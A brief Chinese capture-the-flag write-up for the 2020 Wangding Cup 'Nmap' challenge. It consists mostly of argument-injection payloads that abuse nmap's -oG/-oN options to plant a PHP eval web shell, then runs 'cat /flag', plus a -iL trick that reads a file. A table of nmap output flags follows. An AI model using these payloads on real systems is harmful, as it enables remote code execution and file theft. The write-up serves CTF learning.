[网鼎杯 2020 朱雀组]Nmap 1

知识点：nmap的妙用

解题

' <?= @eval($_POST[a]); ?> -oG 1.phtml
//' -oG 1.phtml <?= @eval($_POST[a]); ?>
进入1.phtml
a=system("cat /flag");

或者

' -oN 2.phtml <?=eval($_POST["hack"]);?>'
进入1.phtml
hack=system("cat /flag");

或者

127.0.0.1' -iL /flag -oN vege.txt '
//读取/flag里的ip，在这里是flag里的内容，把flag以标准方式存入vege.txt

相关内容

选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式